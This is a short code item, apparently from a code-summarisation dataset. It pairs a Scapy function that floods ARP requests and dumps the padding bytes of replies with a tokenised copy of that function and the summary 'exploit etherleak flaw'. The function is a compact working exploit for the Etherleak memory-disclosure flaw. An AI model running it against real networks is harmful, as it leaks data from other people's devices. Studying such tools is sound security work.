@conf.commands.register
def etherleak(target, **kargs):
 return srpflood((Ether() / ARP(pdst=target)), prn=(lambda (s, r): ((conf.padding_layer in r) and hexstr(r[conf.padding_layer].load))), filter='arp', **kargs)

@ conf . commands . register def etherleak ( target , ** kargs ) : return srpflood ( ( Ether ( ) / ARP ( pdst = target ) ) , prn = ( lambda ( s , r ) : ( ( conf . padding_layer in r ) and hexstr ( r [ conf . padding_layer ] . load ) ) ) , filter = 'arp' , ** kargs )
exploit etherleak flaw .